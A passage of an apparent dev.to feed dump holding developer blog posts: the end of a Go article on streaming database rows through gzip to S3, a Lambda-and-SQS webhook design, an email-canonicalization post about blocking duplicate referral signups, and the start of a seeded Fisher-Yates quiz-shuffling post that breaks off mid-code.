        &lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"content-encoding"&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"gzip"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;upErr&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;pr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CloseWithError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;upErr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c"&gt;// tell producer to stop if still running&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Errorf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"s3 upload failed: %w"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;upErr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;rowCount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A few subtleties that look small but matter:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;defer gz.Close()&lt;/code&gt; is registered before &lt;code&gt;defer pw.Close()&lt;/code&gt; and runs first.&lt;/strong&gt; Gzip needs to flush its trailer bytes through &lt;code&gt;pw&lt;/code&gt;. If the pipe closed first, the gzip stream on the consumer side would be truncated and unreadable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;CloseWithError&lt;/code&gt; on both ends.&lt;/strong&gt; If the producer hits a DB error mid-iteration, it closes &lt;code&gt;pw&lt;/code&gt; with that error. The consumer reading &lt;code&gt;pr&lt;/code&gt; sees &lt;code&gt;ErrClosedPipe&lt;/code&gt; wrapping the cause, and &lt;code&gt;s3manager&lt;/code&gt; aborts the multipart upload, sending &lt;code&gt;AbortMultipartUpload&lt;/code&gt; to S3 — no orphaned partial uploads. The same trick goes the other way: if the S3 upload fails, we &lt;code&gt;pr.CloseWithError(upErr)&lt;/code&gt; so the producer's next &lt;code&gt;gz.Write&lt;/code&gt; returns and the goroutine exits instead of hanging.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No mutex needed.&lt;/strong&gt; &lt;code&gt;io.Pipe&lt;/code&gt; is its own synchronization primitive; the producer's writes serialize naturally against the consumer's reads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reading &lt;code&gt;rowCount&lt;/code&gt; after the call is safe&lt;/strong&gt; because &lt;code&gt;UploadStream&lt;/code&gt; only returns after &lt;code&gt;pr&lt;/code&gt; is fully drained, which only happens after the producer goroutine closes &lt;code&gt;pw&lt;/code&gt;. By the time we return, the producer is done writing to &lt;code&gt;rowCount&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What the numbers looked like after
&lt;/h2&gt;

&lt;p&gt;Same 466K-row table, same pod, same 1 GiB memory limit:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Before:&lt;/strong&gt; heap peaked around 700 MB; OOM-killed roughly 4 nights out of 5.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;After:&lt;/strong&gt; heap held flat at ~30 MB through the whole archive. Zero OOM kills since deploy.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Wall-clock time went up slightly (a couple of percent) because we no longer issue one fat &lt;code&gt;PutObject&lt;/code&gt; — but that's a fair trade for not getting murdered by the kernel.&lt;/p&gt;

&lt;h2&gt;
  
  
  What streaming doesn't fix
&lt;/h2&gt;

&lt;p&gt;Worth being honest about the limits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;DB-side memory.&lt;/strong&gt; Some of the queries powering these archives do non-trivial joins. That's Postgres' problem, not the pod's. Streaming doesn't make the planner cheaper.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Retry cost.&lt;/strong&gt; If the upload fails 90% of the way through, we re-iterate from row zero on retry. For 50M-row tables that's slow but still memory-flat. Idempotent multipart resumption is a follow-up, not a blocker.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;In-memory tree builds elsewhere.&lt;/strong&gt; Other parts of the system still build whole trees in memory before serializing. They're small enough today that it's fine, but it's the same anti-pattern waiting to bite.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The general lesson
&lt;/h2&gt;

&lt;p&gt;Whenever your data pipeline's memory usage scales with input size and you don't actually need random access to the data, you have a streaming bug waiting to happen. The fix is almost always the same set of primitives: a cursor on the source, an &lt;code&gt;io.Pipe&lt;/code&gt; for backpressure, a streaming codec in the middle, and a chunked uploader at the sink. Bound the working set to a few megabytes and the pipeline stops caring whether you throw a thousand rows at it or a billion.&lt;/p&gt;

</description>
      <category>dataengineering</category>
      <category>go</category>
      <category>kubernetes</category>
      <category>performance</category>
    </item>
    <item>
      <title>I built a strange webhook handler in NodeJS</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Sat, 12 Aug 2023 06:16:16 +0000</pubDate>
      <link>https://dev.to/harishteens/i-built-a-strange-webhook-handler-in-nodejs-43b1</link>
      <guid>https://dev.to/harishteens/i-built-a-strange-webhook-handler-in-nodejs-43b1</guid>
      <description>&lt;p&gt;One fine fintech startup wanted to build a webhook payment handler. This article will walk through how my NodeJS code was able to handle webhook deliveries like a piece of cake.&lt;/p&gt;

&lt;h3&gt;
  
  
  Context
&lt;/h3&gt;

&lt;p&gt;This client lives and breaths Java and it was also related to payment. So he insisted on using Java, multithreading, Thread pools and all of that shit which I did not understand. And he cared too much about getting it done asap! In fact thats why he came to me cause I had built it already with Javascript. But how am I going to make my single threaded Javascript code handle huge traffic?&lt;/p&gt;

&lt;h3&gt;
  
  
  Objectives
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;The webhook payload needs to be validated, transformed and stored into a database.&lt;/li&gt;
&lt;li&gt;The webhook was delivered by a 3rd party, so a success response need to be sent back immediately after the delivery. We can't let the webhook get clogged by traffic!&lt;/li&gt;
&lt;li&gt;It was a startup, we did not want to spend too much time thinking about scaling and load balancing&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Brainstorming
&lt;/h3&gt;

&lt;p&gt;The API needs to be super responsive, so my first thought was to process it asynchronously.&lt;br&gt;
We were on AWS, so we could use EC2! but how are we going to handle scaling? I didn't want to get into that mess. Even with ELB(Elastic load balancer), still need to run multiple containers to process them parallelly.&lt;/p&gt;

&lt;p&gt;It hit me after a while, that we are actually fine if we have some delay in the processing. We just want to respond back to the webhook immediately and do not want the webhook server to become unresponsive.&lt;/p&gt;

&lt;p&gt;So instead of thinking parallel processing, I started to think how to optimise the response TAT. And we were totally fine with processing the requests with a delay if there is more. &lt;/p&gt;

&lt;p&gt;Finally the price, we already had an EC2 running for the APIs. So we need to use the same instance but again cant let the webhook bottleneck API. So our only go to is a lambda which is bad for most cases. But thats the best we could do right now.&lt;/p&gt;

&lt;h3&gt;
  
  
  The final spec
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnygpmsowd8of7ys39y6i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnygpmsowd8of7ys39y6i.png" alt=" " width="800" height="209"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We have the API gateway connected to the Lambda function. The lambda function was on autoscale so it took care of traffic out of the box. The whole role of the function is to accept the request, push the message to SQS and respond back. This took just 100ms once the lambda is warm.&lt;br&gt;
The same EC2 used for APIs run another docker container that polls the queue every 30 seconds for new messages. If it finds any, it dequeues the message and processes it one by one. Any failure happening while processing wont affect the response sent to the 3rd party as its strictly decoupled. The response has already been sent!&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;I am not sure if this is the best way to build a webhook handler. But this was the quickest, cheapest solution I could come up with. Feel free to criticise and suggest better ideas.&lt;/p&gt;

&lt;p&gt;Follow me on Twitter: twitter.com/HarishTeens&lt;br&gt;
Follow me on GitHub: github.com/HarishTeens&lt;/p&gt;

</description>
      <category>api</category>
      <category>backend</category>
      <category>node</category>
      <category>aws</category>
    </item>
    <item>
      <title>You need to implement this email check</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Fri, 13 Jan 2023 11:29:11 +0000</pubDate>
      <link>https://dev.to/harishteens/you-need-to-implement-this-email-check-nhp</link>
      <guid>https://dev.to/harishteens/you-need-to-implement-this-email-check-nhp</guid>
      <description>&lt;p&gt;Are you a backend dev? And your existing email check logic looks something like this?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;UserDB&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findOne&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Email already exists&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// Create account&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Your application is at risk! Keep reading&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What the heck is Email Canonicalization?
&lt;/h3&gt;

&lt;p&gt;Consider the below emails:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="//hello(home)@gmail.com"&gt;hello(home)@gmail.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="//hell.o@gmail.com"&gt;hell.o@gmail.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="//hell.o+nothing@gmail.com"&gt;hell.o+nothing@gmail.com&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you are treating all these as different emails, you are wrong ❌&lt;br&gt;&lt;br&gt;
The above emails are all treated as the same email address, is an example of a technique called "email canonicalization" that many email providers use to standardize email addresses for consistency and easier management.&lt;/p&gt;

&lt;p&gt;The canonical form of all the above emails post standardisation is &lt;a href="//hello@gmail.com"&gt;hello@gmail.com&lt;/a&gt;. Since Gmail doesn't bother about these mild modifications, emails sent to these different emails would land in a single Inbox allocated to &lt;a href="//hello@gmail.com"&gt;hello@gmail.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;There is not much information on the internet. But this is the textbook definition from RFC standard website: &lt;a href="https://www.rfc-editor.org/rfc/rfc6376#section-3.4" rel="noopener noreferrer"&gt;https://www.rfc-editor.org/rfc/rfc6376#section-3.4&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Some mail systems modify email in transit, potentially invalidating a&lt;br&gt;
  signature.  For most Signers, mild modification of email is&lt;br&gt;
  immaterial to validation of the DKIM domain name's use.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  Why this matters?
&lt;/h3&gt;

&lt;p&gt;Let's say your application collects user emails like majority of the applications. If your check to find existing email directly compares the raw email address. The above 3 email addresses would be treated as 3 different individuals, leading to creation of 3 user accounts. One does not usually expect users to sign up with these mild variatons. But when there is an incentive to, this behaviour tend to happen.  &lt;/p&gt;

&lt;p&gt;At our company, every new user signup is rewarded. Both referrer and refree are eligible for the reward. Analysing our user data revealed these mild variations of emails being registered as different accounts. And this costed us as they were exploiting our referral program. One could easily  configure these mild variations on their Gmail. Since our systems would treat them as new email addresses, they were able to register, verify OTP that landed on the same Inbox and then refer themselves.&lt;/p&gt;
&lt;h3&gt;
  
  
  The npm package you need
&lt;/h3&gt;

&lt;p&gt;To abstract the logic for the check, I created this npm package &lt;a href="https://www.npmjs.com/package/canonical-email-generator" rel="noopener noreferrer"&gt;canonical-email-generator&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Installation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm i --save canonical-email-generator
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So far the package refines the emails for these below cases:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Lowercasing&lt;/strong&gt;: converting all letters in the email address to lowercase before comparing or storing it. This helps to ensure that "&lt;a href="mailto:Hello@example.com"&gt;Hello@example.com&lt;/a&gt;" and "&lt;a href="mailto:hello@example.com"&gt;hello@example.com&lt;/a&gt;" are treated as the same email address.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Removing sub-addressing&lt;/strong&gt;: removing the "+" character and any text following it in the local part of the email address. For example, "&lt;a href="mailto:user+home@example.com"&gt;user+home@example.com&lt;/a&gt;" would be canonicalized to "&lt;a href="mailto:user@example.com"&gt;user@example.com&lt;/a&gt;".&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Removing comments&lt;/strong&gt;: removing any text within parentheses in the local part of the email address. For example, "user(home)@example.com" would be canonicalized to "&lt;a href="mailto:user@example.com"&gt;user@example.com&lt;/a&gt;".&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Removing leading or trailing whitespace&lt;/strong&gt;: removing any whitespace before or after the email address.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Removing dots&lt;/strong&gt;: removing dots from local part of the address, For example "&lt;a href="mailto:hell.o@gmail.com"&gt;hell.o@gmail.com&lt;/a&gt;" would be canonicalized to "&lt;a href="mailto:hello@gmail.com"&gt;hello@gmail.com&lt;/a&gt;"&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I would be actively maintaining it and adding more checks as I discover. So you're good to go.&lt;/p&gt;

&lt;h3&gt;
  
  
  Implementing the better way
&lt;/h3&gt;

&lt;p&gt;The invalid account signup could be eradicated by converting the email to its canonical form before checking the database. But for that you need to store the canonical form in your database as well.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;canonicalizeEmail&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;canonical-email-generator&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;canEmail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;canonicalizeEmail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;UserDB&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findOne&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;canEmail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;canEmail&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Email already exists&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// Create account and store canonical email to DB&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yes it is an extra field in the same table or a separate table if you wish. But the extra storage could prevent a ton of invalid users being created. &lt;/p&gt;

&lt;p&gt;Potentially a single gmail inbox could be used to create infinite variations. Hence it's worthwhile to implement.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;Exact email comparison fails. It's bad.&lt;br&gt;
It is possible to generate infinite emails that lead to a canonical email.&lt;br&gt;
The inbox is uniquely identified by its canonical email.&lt;/p&gt;

&lt;p&gt;Hope you learnt something valuable ✨&lt;/p&gt;

&lt;p&gt;Find me on Twitter: &lt;a href="https://twitter.com/HarishTeens" rel="noopener noreferrer"&gt;@harishteens&lt;/a&gt;&lt;br&gt;
GitHub: &lt;a href="https://github.com/harishteens" rel="noopener noreferrer"&gt;@harishteens&lt;/a&gt;&lt;/p&gt;

</description>
      <category>data</category>
      <category>analytics</category>
      <category>marketing</category>
    </item>
    <item>
      <title>Quiz Maker Algorithm</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Sun, 25 Sep 2022 09:19:01 +0000</pubDate>
      <link>https://dev.to/harishteens/quiz-maker-algorithm-527g</link>
      <guid>https://dev.to/harishteens/quiz-maker-algorithm-527g</guid>
      <description>&lt;h2&gt;
  
  
  Problem Statement
&lt;/h2&gt;

&lt;p&gt;Given D days and N users.&lt;br&gt;
Build a quiz maker that picks 5 random questions every day from the question set.&lt;br&gt;
Satisfying the below conditions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;the likelihood of two users having the same question on the same day is low.&lt;/li&gt;
&lt;li&gt;the questions are not repeated for any user.
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The question set is of length S, which is atleast (D x 5) to gurantee 2nd condition.  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Ofcourse we can make (N x D) number of questions to make this simple, but it is practically impossible to find those many questions. And to store all of them is a poor usage of storage.  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  Solution
&lt;/h3&gt;

&lt;p&gt;The efficient way to do this is to build an algorithm that generates a list of length (D x 5) having numbers ranging from 1 to S. To locate the questions for today(T), we simply have to get the questions from [Tx5, Tx5 + 5].  &lt;/p&gt;

&lt;p&gt;For example if D = 3; S = 15; the lists of users could be&lt;br&gt;&lt;br&gt;
&lt;code&gt;[10, 2, 1, 12, 9, 14, 11, 6, 7, 4, 5, 0, 3, 8, 13]&lt;/code&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;[1, 0, 10, 3, 11, 7, 12, 2, 9, 6, 4, 13, 8, 14, 5]&lt;/code&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;[11, 13, 14, 1, 4, 12, 9, 0, 2, 3, 8, 5, 10, 6, 7]&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Exploring available solutions
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Generating a random list
&lt;/h3&gt;

&lt;p&gt;Let us begin to explore how we could generate this random list. I did some googling and found this useful website &lt;a href="https://www.random.org/sequences/" rel="noopener noreferrer"&gt;random.org&lt;/a&gt;. It was able to generate random sequences from 1 to N.&lt;br&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Folz2uqoa6k4w66211z0d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Folz2uqoa6k4w66211z0d.png" alt="random sequence of 1 to 15" width="800" height="802"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Problem Solved! Right? Not so soon, haha&lt;/p&gt;

&lt;p&gt;If we generate a random sequence for every user, we would have to store it somewhere on a database. Now there are two concerns with this approach:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Cost of storing a (D x 5) array for N users. For larger N, this might cost a lot.&lt;/li&gt;
&lt;li&gt;This is the biggest, if there were to be a leak in the API security and somebody was able to retrieve their list of questions for all days. Then they would know all the questions they are going to receive beforehand.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Hence need to take a different approach.&lt;/p&gt;
&lt;h3&gt;
  
  
  Deterministic Pseudorandom list
&lt;/h3&gt;

&lt;p&gt;To solve the above 2 problems, I decided not store the array anywhere in Database. Every day when a user requests for their question I shall generate the array in runtime and pick the questions for the day. But for it to work, I would have to generate a deterministic list of numbers for each user. Or else I would be generating random list of numbers every day for the same user. Fortunately &lt;a href="https://www.random.org/sequences/" rel="noopener noreferrer"&gt;random.org&lt;/a&gt; had that option as well.&lt;/p&gt;

&lt;p&gt;On Advanced Mode, you can seed the randomiser with an input string. So for every unique string, it gives a unique random sequence. It flashed that I could simply pass the &lt;code&gt;user_id&lt;/code&gt; and get their respective sequences.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuedxfzouk6asm03wc0yf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuedxfzouk6asm03wc0yf.png" alt="advanced mode" width="798" height="176"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxmvzgemfv7dgtrvox4gw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxmvzgemfv7dgtrvox4gw.png" alt="persistent random sequence" width="800" height="583"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Although their pricing plan was very generous, the fact that it could be done motivated me to build something of my own.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftudd936lfvhspwwwezw4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftudd936lfvhspwwwezw4.png" alt="pricing" width="800" height="474"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Walkthrough of my solution
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Fisher Yates Shuffle algorithm
&lt;/h3&gt;

&lt;p&gt;After digging for a while, I found about Fisher Yates Shuffle algorithm on a stack overflow post. The algorithm is brilliantly crafted. Here is a &lt;a href="https://bost.ocks.org/mike/shuffle/" rel="noopener noreferrer"&gt;link&lt;/a&gt; that contains beautiful visual explanation of Fisher Yates Shuffle. It is a prerequisite to go through it before you move ahead with this article. I've extended Fisher Yates and customised it according to my needs.&lt;/p&gt;

&lt;p&gt;I'll brief what the algorithm is, if in case you haven't checked the website. Fisher Yates Shuffle is an in-place shuffling algorithm that runs in O(n). The idea of it is to pick a random index and swap the element on the random index with the first index. If you repeat this N times decrementing your random range. At the end of it, you would have a shuffled array.  &lt;/p&gt;

&lt;p&gt;Would highly recommend going through the &lt;a href="https://bost.ocks.org/mike/shuffle/" rel="noopener noreferrer"&gt;link&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Extending Fisher Yates to give deterministic sequence
&lt;/h3&gt;

&lt;p&gt;Now that I knew about this. All I needed to do was, generate a list from 1 to S and run Fisher Yates on it. Then I would have my expected list.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;shuffle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;currentIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// While there remain elements to shuffle…&lt;/span&gt;
